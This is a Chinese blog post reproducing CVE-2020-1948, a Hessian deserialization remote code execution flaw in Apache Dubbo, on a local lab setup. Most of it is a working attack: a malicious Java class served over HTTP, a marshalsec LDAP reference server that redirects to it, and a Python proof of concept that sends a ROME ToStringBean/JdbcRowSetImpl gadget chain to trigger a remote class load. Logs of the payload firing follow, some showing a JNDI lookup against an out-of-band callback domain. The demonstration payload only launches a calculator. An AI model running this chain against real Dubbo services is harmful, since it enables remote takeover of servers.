[CVE-2020-1948]Apache Dubbo Provider默认反序列化RCE

最新推荐文章于 2024-07-03 11:48:48 发布

caiqiiqi

最新推荐文章于 2024-07-03 11:48:48 发布

阅读量5.2k

点赞数 1

分类专栏： java 安全

本文链接：https://blog.csdn.net/caiqiiqi/article/details/106934770

版权

安全同时被 2 个专栏收录

264 篇文章 9 订阅

订阅专栏

java

213 篇文章 3 订阅

订阅专栏

11/16更新

使用这个项目可以启动zookeeper：
https://github.com/apache/dubbo-samples
dubbo-samples-basic
在这里插入图片描述

环境搭建

git clone https://github.com/apache/dubbo-spring-boot-project
cd dubbo-spring-boot-project
git checkout 2.7.1 -b b2.7.1

# 将整个项目dubbo-spring-boot-project导入IDEA
在dubbo-spring-boot-samples/auto-configure-samples/provider-sample/pom.xml

引入以下依赖：

        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>

修改默认端口：dubbo-spring-boot-samples/auto-configure-samples/provider-sample/src/main/resources/application.properties
为12347

或者使用这个项目：
https://github.com/apache/dubbo-samples/tree/master/java
中的dubbo-samples-basic，直接执行BasicProvider的main方法即可启动一个带ZooKeeper的dubbo。

命令行启动dubbo的hessian2协议反序列化

2222端口：

[cqq@localhost solr]$ nc -v 127.0.0.1 22222
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:22222.
   ___   __  __ ___   ___   ____     
  / _ \ / / / // _ ) / _ ) / __ \  
 / // // /_/ // _  |/ _  |/ /_/ /    
/____/ \____//____//____/ \____/   
dubbo>ls
As Provider side:
+----------------------------------------------+---+
|             Provider Service Name            |PUB|
+----------------------------------------------+---+
|org.apache.dubbo.samples.basic.api.DemoService| Y |
+----------------------------------------------+---+
As Consumer side:
+---------------------+---+
|Consumer Service Name|NUM|
+---------------------+---+

dubbo>help
+---------+----------------------------------------------------------------------------------+
|    help | help command                                                                     |
+---------+----------------------------------------------------------------------------------+
|      ls | ls service                                                                       |
+---------+----------------------------------------------------------------------------------+
| offline | offline dubbo                                                                    |
+---------+----------------------------------------------------------------------------------+
|  online | online dubbo                                                                     |
+---------+----------------------------------------------------------------------------------+
|    quit | quit telnet console                                                              |
+---------+----------------------------------------------------------------------------------+
|   start | Judge if service has started?                                                    |
+---------+----------------------------------------------------------------------------------+
| version | version command(show dubbo version)                                              |
+---------+----------------------------------------------------------------------------------+

dubbo>version
dubbo version "2.7.7"
dubbo>quit
BYE!

发现了其启动消息：

[14/04/21 02:14:10:010 PDT] org.apache.dubbo.samples.basic.BasicProvider.main()  INFO server.Server:  [DUBBO] qos-server bind localhost:22222, dubbo version: 2.7.7, current host: 192.168.112.129

原来是：

dubbo 2.5.8 新版本增加了 QOS 模块，提供了新的 telnet 命令支持。

参考：https://dubbo.apache.org/zh/docs/v2.7/user/references/qos/

hessian反序列化的端口默认20880：

发现其启动消息：

[14/04/21 02:14:10:010 PDT] org.apache.dubbo.samples.basic.BasicProvider.main()  INFO transport.AbstractServer:  [DUBBO] Start NettyServer bind /0.0.0.0:20880, export /192.168.112.129:20880, dubbo version: 2.7.7, current host: 192.168.112.129

修改pom.xml文件，
在这里插入图片描述
增加这一行：

 <version>${dubbo.version}</version>

要修改dubbo的版本，可以修改dubbo.version标签。
编译：

mvn clean package

然后启动：

nohup mvn  -Dexec.mainClass=org.apache.dubbo.samples.basic.BasicProvider exec:java &

ExploitMac.java

public class ExploitMac{public ExploitMac(){try{java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");}catch(java.io.IOException e){e.printStackTrace();}}}

terminal 1

[~/Downloads]$ cat ExploitMac.java                                                                                                [23:55:12]
public class ExploitMac{public ExploitMac(){try{java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");}catch(java.io.IOException e){e.printStackTrace();}}}
[~/Downloads]$ vi ExploitMac.java                                                                                                 [23:43:04]
[~/Downloads]$ javac ExploitMac.java                                                                                              [23:43:17]
[~/Downloads]$ python3 -m http.server 8088                                                                                        [23:43:19]
zsh: correct 'http.server' to 'httpserver' [nyae]? n
Serving HTTP on 0.0.0.0 port 8088 (http://0.0.0.0:8088/) ...

127.0.0.1 - - [23/Jun/2020 23:49:27] "GET /ExploitMac.class HTTP/1.1" 200 -

terminal 2

[master][~/GitProjects/marshalsec]$ java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8088/#ExploitMac 8087
Listening on 0.0.0.0:8087
Send LDAP reference result for ExploitMac redirecting to http://127.0.0.1:8088/ExploitMac.class

terminal 3

$ python3 -m pip install dubbo-py
$ python3 dubbo3.py

PoC

from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12347)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/ExploitMac",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

IDEA报错

2020-06-23 23:49:27.073 ERROR 66497 --- [12347-thread-17] c.rometools.rome.feed.impl.ToStringBean  : Error while generating toString

java.lang.reflect.InvocationTargetException: null
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_131]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_131]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_131]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_131]
	at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:158) [rome-1.7.0.jar:1.7.0]
	at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:129) [rome-1.7.0.jar:1.7.0]
	at java.lang.String.valueOf(String.java:2994) [na:1.8.0_131]
	at java.util.Arrays.toString(Arrays.java:4571) [na:1.8.0_131]
	at org.apache.dubbo.rpc.RpcInvocation.toString(RpcInvocation.java:211) [dubbo-2.7.1.jar:2.7.1]
	at java.lang.String.valueOf(String.java:2994) [na:1.8.0_131]
	at java.lang.StringBuilder.append(StringBuilder.java:131) [na:1.8.0_131]
	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:248) [dubbo-2.7.1.jar:2.7.1]
	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol$1.reply(DubboProtocol.java:102) [dubbo-2.7.1.jar:2.7.1]
	at org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler.handleRequest(HeaderExchangeHandler.java:103) [dubbo-2.7.1.jar:2.7.1]
	at org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler.received(HeaderExchangeHandler.java:200) [dubbo-2.7.1.jar:2.7.1]
	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:51) [dubbo-2.7.1.jar:2.7.1]
	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.1.jar:2.7.1]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_131]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_131]
	at java.lang.Thread.run(Thread.java:748) [na:1.8.0_131]
Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634) ~[na:1.8.0_131]
	at com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(JdbcRowSetImpl.java:4004) ~[na:1.8.0_131]
	... 20 common frames omitted

域名无法解析的情况下：

[28/12/20 11:54:50:050 CST] NettyServerWorker-5-6  WARN dubbo.DubboCodec:  [DUBBO] Decode request failed: Invalid bean definition with name 'ldap://spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca/1' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.CommunicationException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca:389 [Root exception is java.net.UnknownHostException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca], dubbo version: 2.7.8, current host: 192.168.85.1
org.springframework.beans.factory.BeanDefinitionStoreException: Invalid bean definition with name 'ldap://spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca/1' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.CommunicationException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca:389 [Root exception is java.net.UnknownHostException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca]
	at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:125)
	at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:119)
	at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:74)
	at java.util.HashMap.putVal(HashMap.java:635)
	at java.util.HashMap.put(HashMap.java:612)
	at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:145)
	at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:126)
	at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2733)
	at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2308)
	at org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject(Hessian2ObjectInput.java:94)
	at org.apache.dubbo.common.serialize.ObjectInput.readEvent(ObjectInput.java:83)
	at org.apache.dubbo.remoting.exchange.codec.ExchangeCodec.decodeEventData(ExchangeCodec.java:400)
	at org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody(DubboCodec.java:122)
	at org.apache.dubbo.remoting.exchange.codec.ExchangeCodec.decode(ExchangeCodec.java:122)
	at org.apache.dubbo.remoting.exchange.codec.ExchangeCodec.decode(ExchangeCodec.java:82)
	at org.apache.dubbo.rpc.protocol.dubbo.DubboCountCodec.decode(DubboCountCodec.java:48)
	at org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter$InternalDecoder.decode(NettyCodecAdapter.java:85)
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:489)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:428)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:265)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1434)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:965)
	at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:163)
	at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:647)
	at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:582)
	at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:499)
	at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:461)
	at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:884)
	at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
	at java.lang.Thread.run(Thread.java:748)
Caused by: javax.naming.CommunicationException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca:389 [Root exception is java.net.UnknownHostException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:226)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
	at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
	at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
	at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
	at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:95)
	at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:115)
	... 34 more
Caused by: java.net.UnknownHostException: spring.vugbggrhdk.ef35b434242b1c5b0328.d.zhack.ca
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184)
	at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:589)
	at java.net.Socket.connect(Socket.java:538)
	at java.net.Socket.<init>(Socket.java:434)
	at java.net.Socket.<init>(Socket.java:211)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:363)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:203)
	... 49 more